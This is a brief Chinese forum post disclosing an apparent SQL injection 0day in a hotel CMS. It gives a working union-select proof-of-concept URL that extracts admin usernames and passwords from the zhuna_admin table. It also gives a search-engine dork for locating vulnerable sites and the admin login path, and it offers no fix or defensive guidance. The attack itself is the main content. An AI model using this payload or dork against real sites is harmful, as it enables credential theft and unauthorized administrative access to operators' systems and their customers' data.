国内某酒店CMS的sql inj 0day
白盒在某种程度上来说也TM是个体力活,MVC的框架让人看到蛋疼
poc:
1. index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10%20from%20zhuna_admin
复制代码
关键词:
1. inurl:index.php?m=hotelinfo
复制代码
后台:
1. index.php?m=admin
上一篇:5月被黑站点统计
下一篇:如何防范被搜索引擎攻击